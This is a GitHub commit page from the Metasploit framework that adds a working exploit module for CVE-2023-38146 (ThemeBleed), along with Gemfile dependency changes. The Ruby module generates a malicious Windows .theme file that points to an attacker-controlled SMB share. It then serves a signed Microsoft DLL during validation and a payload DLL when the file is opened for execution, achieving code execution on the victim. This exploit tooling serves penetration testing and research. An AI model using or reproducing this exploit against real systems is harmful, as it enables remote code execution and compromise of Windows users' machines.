Skip to content

Commit

Permalink
Pull in SPencer's suggestions
Browse files Browse the repository at this point in the history
Merge branch 'add-spencer' into exploit/cve-2023-38146
  • Loading branch information
bwatters-r7 committed Nov 13, 2023
2 parents a9f178c + 9fc93ca commit 81ec3d0
Show file tree
Hide file tree
Showing 4 changed files with 164 additions and 146 deletions.
3 changes: 3 additions & 0 deletions Gemfile
Original file line number Diff line number Diff line change
Expand Up @@ -52,3 +52,6 @@ group :test do
# Manipulate Time.now in specs
gem 'timecop'
end

# remove me once https://github.com/rapid7/ruby_smb/pull/256 is landed
gem 'ruby_smb', git: 'https://github.com/zeroSteiner/ruby_smb.git', branch: 'feat/server/provider-hooks'
19 changes: 13 additions & 6 deletions Gemfile.lock
Original file line number Diff line number Diff line change
@@ -1,3 +1,15 @@
GIT
remote: https://github.com/zeroSteiner/ruby_smb.git
revision: 59f6144955abf3d3f026096a4e2b13a9c4e86a33
branch: feat/server/provider-hooks
specs:
ruby_smb (3.2.7)
bindata
openssl-ccm
openssl-cmac
rubyntlm
windows_error (>= 0.1.4)

PATH
remote: .
specs:
Expand Down Expand Up @@ -467,12 +479,6 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.5)
bindata
openssl-ccm
openssl-cmac
rubyntlm
windows_error (>= 0.1.4)
rubyntlm (0.6.3)
rubyzip (2.3.2)
sawyer (0.9.2)
Expand Down Expand Up @@ -559,6 +565,7 @@ DEPENDENCIES
rspec-rerun
rubocop
ruby-prof (= 1.4.2)
ruby_smb!
simplecov (= 0.18.2)
test-prof
timecop
Expand Down

This file was deleted.

148 changes: 148 additions & 0 deletions modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::SMB::Server::Share

def initialize(info = {})
super(
update_info(
info,
'Name' => 'TBD',
'Description' => %q{
TBD
},
'DisclosureDate' => '2023-09-13',
'Author' => [
'gabe_k', # Discovery/PoC
'bwatters-r7' # msf exploit
],
'References' => [
['CVE', '2023-38146'],
['URL', 'https://exploits.forsale/themebleed/'],
['URL', 'https://github.com/gabe-k/themebleed/tree/main']

],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Targets' => [
[ 'Windows', {} ],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
}
)
)

register_options([
OptString.new('STYLE_FILE_NAME', [ true, 'The name of the style file to reference.', '' ], regex: /^\w*(\.msstyles)?$/),
OptString.new('THEME_FILE_NAME', [ true, 'The name of the theme file to generate.', 'exploit.theme' ]),
OptPath.new('MS_SIGNED_DLL', [true, 'Signed Microsoft DLL to use for passing validation']),
OptPath.new('MS_VERSION_FILE', [true, 'Signed Microsoft DLL to use for passing validation'])
])

deregister_options(
'FILENAME', # this is the one used by the FILEFORMAT mixin, replaced by THEME_FILE_NAME for clarity
'FILE_NAME', # this is the one used by the SMB::Server::Share mixin, replaced by STYLE_FILE_NAME for clarity
'FOLDER_NAME'
)
end

def file_format_filename
datastore['THEME_FILE_NAME']
end

def setup
super

@file_name = datastore['STYLE_FILE_NAME'].blank? ? Rex::Text.rand_text_alpha(rand(4..6)) : datastore['STYLE_FILE_NAME']
@file_name << '.msstyles' unless @file_name.end_with?('.msstyles')
end

def primer
legit_dll = File.binread(datastore['MS_SIGNED_DLL'])
payload_dll = generate_payload_dll
max_length = [payload_dll.length, legit_dll.length].max
# make sure that the lengths are the same by padding the smaller to the length of the larger
legit_dll.ljust(max_length, "\x00".b)
payload_dll.ljust(max_length, "\x00".b)

virtual_disk = service.shares[@share]

virtual_file = ThreadLocalVirtualStaticFile.new(virtual_disk, "/#{@file_name}_vrf.dll", legit_dll)
virtual_disk.add(virtual_file)
# install this hook for create requests to set the thread-local file content
virtual_disk.add_hook(RubySMB::SMB2::Packet::CreateRequest) do |_session, request|
next unless request.name.read_now!.encode.ends_with?('_vrf.dll')

if request.desired_access.execute == 1
virtual_file.tl_content = payload_dll
else
virtual_file.tl_content = legit_dll
end

nil
end

file_create(make_theme)
end

def get_file_contents(client:)
print_status("Sending file to #{client.peerhost}")
File.binread(datastore['MS_VERSION_FILE'])
end

def make_theme
<<~THEME
; windows 11 theme exploit
; copyright 2023 fukin software foundation
[Theme]
DisplayName=@%SystemRoot%\\System32\\themeui.dll,-2060
[Control Panel\\Desktop]
Wallpaper=%SystemRoot%\\web\\wallpaper\\Windows\\img0.jpg
TileWallpaper=0
WallpaperStyle=10
[VisualStyles]
Path=\\\\#{datastore['SRVHOST']}\\#{@share}\\#{@file_name}
ColorStyle=NormalColor
Size=NormalSize
[MasterThemeSelector]
MTSM=RJSPBS
THEME
end

class ThreadLocalVirtualStaticFile < RubySMB::Server::Share::Provider::VirtualDisk::VirtualStaticFile
def initialize(*args, **kwargs)
super
@default_content = @content
@tl_content = {}
@tl_content.compare_by_identity
end

def open(mode = 'r', &block)
@content = tl_content
super
end

def tl_content=(content)
@tl_content[Thread.current] = content
end

def tl_content
@tl_content.fetch(Thread.current, @default_content)
end
end
end

0 comments on commit 81ec3d0

Please sign in to comment.